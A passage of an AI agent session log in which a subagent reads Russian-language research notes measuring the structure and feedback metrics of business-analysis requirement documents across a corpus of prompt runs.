\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043d\u0435\u0447\u0435\u043c\u0443.\\n\\n\u0423\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u0432\u0435\u0435\u0440 `L0`\u2013`L4` \u0432 `RUN-0057`\\n([`outputs/`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0057/outputs))\\n\u2014 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043b\u0443\u0447\u0430\u0439, \u0433\u0434\u0435 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0434\u0430\u043d \u043f\u044f\u0442\u0438\\n\u0440\u0430\u0437\u043d\u044b\u043c \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u044f\u043c. \u042d\u0442\u043e \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043e\u0441\u0438 `A1` \u043a\u0430\u043a **\u043d\u0430\u0431\u043e\u0440\u0430** \u0446\u0435\u043b\u0435\u0432\u044b\u0445\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432.\\n\\n## 5. \u0424\u0430\u043a\u0442\u044b \u043f\u043e\u0434 `M3` (\u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430)\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u0414\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c `feedback/` | 57 | 100 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u043e\u043b\u0435\u043c `metrics.eval` | 40 | 70,2 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u043e\u043b\u0435\u043c `metrics.verdict` | 15 | 26,3 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u043e\u043b\u0435\u043c `metrics.success_rate` | 16 | 28,1 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c\u044e `metrics.measured` | 5 (`true` 3, `false` 2) | 8,8 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u043e \u0441\u0432\u044f\u0437\u044c\u044e `related_runs` | 21 | 36,8 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 `hallucinations_shipped > 0` | 9 | 15,8 % |\\n\\n\u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 100 % \u043f\u0440\u043e\u0442\u0438\u0432 8,8 % \u2014 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 `M3`. \u0424\u043e\u0440\u043c\u0430 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u0433\u0434\u0430; **\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430**. \u041f\u0440\u0438\\n\u044d\u0442\u043e\u043c 9 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u0438\u0437\u043d\u0430\u044e\u0442, \u0447\u0442\u043e \u0432\u044b\u043c\u044b\u0441\u0435\u043b \u0434\u043e\u0448\u0451\u043b \u0434\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043f\u0440\u043e\u0439\u0434\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0435\\n\u0440\u0435\u0432\u044c\u044e: `RUN-0016`, `RUN-0018`, `RUN-0021`, `RUN-0022`, `RUN-0024`, `RUN-0025`,\\n`RUN-0026`, `RUN-0027`, `RUN-0028`.\\n\\n\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435: \u043b\u044e\u0431\u0430\u044f \u043a\u0430\u043b\u0438\u0431\u0440\u043e\u0432\u043a\u0430 \u0433\u0435\u0439\u0442\u043e\u0432 \u043f\u043e \u044d\u0442\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u2014 \u0431\u0430\u0437\u0430\\n\u0434\u043b\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 (`RQ-3.4`) \u043d\u0435 \u043d\u0430\u0431\u0440\u0430\u043d\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0438\\n\u043d\u0435\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439.\\n\\n## 6. \u0424\u0430\u043a\u0442\u044b \u043f\u043e\u0434 `M4` (\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f)\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u0432 \u0431\u043b\u043e\u043a\u0435 `metrics` \u043f\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0443 | **71** |\\n| \u0421\u0430\u043c\u044b\u0439 \u0447\u0430\u0441\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 | `episodes` \u2014 41 \u043f\u0440\u043e\u0433\u043e\u043d (71,9 %) |\\n| \u041a\u043b\u044e\u0447\u0435\u0439, \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0440\u043e\u0432\u043d\u043e \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0435 | 24 |\\n| \u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0447\u0451\u0442\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 `token_method` | \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d \u0432 41 \u043f\u0440\u043e\u0433\u043e\u043d\u0435, 24 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f `not-recorded` |\\n| \u0420\u0435\u0436\u0438\u043c\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0432 [`prompts/`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts) | `stepwise` 10, `oneshot` 9, `legacy` 5, \u043f\u0440\u043e\u0447\u0438\u0435 3 |\\n\\n**71 \u043a\u043b\u044e\u0447 \u043d\u0430 57 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043a\u043b\u044e\u0447\u0430, \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u0443 \u0432\u0441\u0435\u0445** \u2014 \u044d\u0442\u043e \u0438\\n\u0435\u0441\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0441\u0445\u0435\u043c\u044b \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0438 \u043d\u0435\\n\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u041c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043f\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0445\\n\u0437\u0430\u0434\u0430\u0447 (`RQ-4.3`), \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u044d\u0442\u043e\u0433\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c: \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c \u043d\u0435\u0447\u0435\u0433\u043e.\\n\\n\u041f\u0430\u0440\u0430 `stepwise`/`oneshot` \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (10 \u043f\u0440\u043e\u0442\u0438\u0432 9) \u2014 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043e\u0441\u044c `A4` (\u0440\u0435\u0436\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f) \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0434\u043e\\n\u0432\u0441\u044f\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0443\u0436\u0435 \u0440\u0430\u0437\u0434\u0432\u043e\u0435\u043d\u0430 \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443.\\n\\n## 7. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u043c\u0435\u0440\u0430\\n\\n1. \u041a\u043e\u0440\u043f\u0443\u0441 \u2014 **\u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 \u0438 \u043e\u0446\u0435\u043d\u043e\u0447\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440**. \u0417\u0430\u043c\u0435\u0440 issue #541 \u043f\u043e\u043a\u0430\u0437\u0430\u043b: \u043d\u0438\\n   \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u0435 \u0422\u0417. \u0412\u0441\u0435 \u0432\u044b\u0432\u043e\u0434\u044b \u043e `M2`/`M3` \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a\\n   \u043a\u043e\u043d\u0442\u0443\u0440\u0443 \u0434\u043e \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n2. \u0420\u0430\u0437\u043c\u0435\u0442\u043a\u0430 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f (\u0441\u043c. \u00a73), \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u043e\u0441\u044c.\\n3. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f `.md`-\u0444\u0430\u0439\u043b \u0432 `outputs/`, \u043a\u0440\u043e\u043c\u0435 `README`.\\n4. \u0417\u0430\u043c\u0435\u0440 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **\u043e\u0434\u043d\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e**. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0434\u043e\u043b\u044e 40 % \u0438\u043b\u0438 \u0447\u0438\u0441\u043b\u043e 71 \u043d\u0430\\n   \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u043d\u0435\u043b\u044c\u0437\u044f; \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u044d\u0442\u0438 \u0447\u0438\u0441\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n   \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0435\u0451 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0441\u0442\u044c.\",\n[2026-09-29T07:44:59.977Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:59.977Z] [INFO]       }\n[2026-09-29T07:44:59.977Z] [INFO]     ]\n[2026-09-29T07:44:59.977Z] [INFO]   },\n[2026-09-29T07:44:59.977Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"uuid\": \"e0b4527c-1faa-4171-a61a-73e4f50eccbe\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:59.967Z\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:59.977Z] [INFO] }\n[2026-09-29T07:45:00.707Z] [INFO] {\n[2026-09-29T07:45:00.707Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:00.707Z] [INFO]   \"message\": {\n[2026-09-29T07:45:00.707Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:00.707Z] [INFO]     \"id\": \"msg_011CfXMin382ALmQZfWtBcwu\",\n[2026-09-29T07:45:00.707Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:00.707Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:00.707Z] [INFO]     \"content\": [\n[2026-09-29T07:45:00.707Z] [INFO]       {\n[2026-09-29T07:45:00.707Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:00.707Z] [INFO]         \"id\": \"toolu_01J9PL7c78pXAfjfWrqEMcei\",\n[2026-09-29T07:45:00.707Z] [INFO]         \"name\": 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    \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-08\\ntemperature: 0.1\\ntype: research\\ncontext: [ba, requirements, mango, runs, artifact-structure, empirical-snapshot, golden-set]\\nmethod: corpus-measurement + heading-slot-mapping\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\nbased_on:\\n  - research/ba-requirements/exp/ba-micro-structure-561/artifact-structure.json\\nrelated_artifacts:\\n  - \\\"research/ba-requirements/artifact-micro-structure/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/artifact-micro-structure/20-taxonomy.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-micro-structure-561/README.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557\\\"\\n---\\n\\n# \u0421\u043d\u0438\u043c\u043e\u043a \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0411\u0410-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 2026-09-08\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 **\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435** \u043c\u0438\u043a\u0440\u043e-\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432,\\n> \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b `runs/` \u043e\u0442\u0434\u0430\u044e\u0442 \u043a\u0430\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0418\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u044f, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f\\n> \u0441\u043b\u043e\u0442\u043e\u0432 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043c\u043e\u0434\u0443\u043b\u044c\\n> [`research/ba-requirements/artifact-micro-structure/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/00-introduction.md).\\n> \u0421\u043d\u0438\u043c\u043e\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u043c\u043e\u0434\u0443\u043b\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442: \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u0430\\n> \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438, \u0438 \u044d\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e.\\n\\n## 1. \u0427\u0442\u043e \u0438 \u043a\u0430\u043a \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`. \u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c:\\n[`exp/ba-micro-structure-561/measure-artifact-structure.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/measure-artifact-structure.py).\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 `##` \u043a\u0430\u0436\u0434\u043e\u0433\u043e markdown-\u0444\u0430\u0439\u043b\u0430 \u0432 `outputs/`, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0438\u0445 \u043a\\n\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0435 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u0432 **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432** (`S-*`) \u043f\u043e\\n\u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\\n\u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u0433\u043e \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0438, \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u043e\u0439\\n`SLOT_RULES` \u0432 \u0448\u0430\u043f\u043a\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e.\\n\\n\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u2192 \u0441\u043b\u043e\u0442\u00bb \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 **\u0444\u043e\u0440\u043c\u0443** \u043e\u0442 **\u0441\u043c\u044b\u0441\u043b\u0430**: \u0434\u0432\u0430\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438 (`1. \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439` \u0438 `1. \u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f`)\\n\u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 `S-GLOSSARY`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435\\n\u043d\u0438\u0436\u0435, \u2014 \u044d\u0442\u043e \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u0441\u043c\u044b\u0441\u043b\u0443, \u0430 \u043d\u0435 \u043f\u043e \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432.\\n\\n## 2. \u0421\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u0430 125 \u00ab\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438\u00bb \u0438 72 % \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u0420\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u0440\u0438\u0447\u0438\u043d\u0443: \u0432 `outputs/` \u043b\u0435\u0436\u0430\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\\n\u0444\u0430\u0439\u043b\u043e\u0432, \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0442\u0443 \u0436\u0435 \u043b\u0435\u043a\u0441\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0447\u0442\u043e \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 `classify_doc_kind()` \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u0438\u0445; \u0432\u0441\u0435 \u0442\u0440\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n`artifact-structure.json`, \u043d\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0442\u0440\u0435\u0442\u044c\u0435\u043c\u0443.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0424\u0430\u0439\u043b\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e |\\n| --- | --- | --- |\\n| `run-journal` | 63 | \u0436\u0443\u0440\u043d\u0430\u043b \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u044d\u043f\u0438\u0437\u043e\u0434\u044b, \u0432\u0435\u0440\u0434\u0438\u043a\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e |\\n| `analysis-note` | 45 | \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| `requirement-document` | 17 | **\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0411\u0410** \u2014 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0437\u0430\u043c\u0435\u0440\u0430 |\\n\\n\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043e 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432; markdown-\u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043b\u0435\u043a\u0441\u0438\u043a\u043e\u0439 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 125.\\n\\n## 3. \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0444\u0430\u043a\u0442: 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432\\n\\n\u0421\u043a\u0435\u043b\u0435\u0442 \u2014 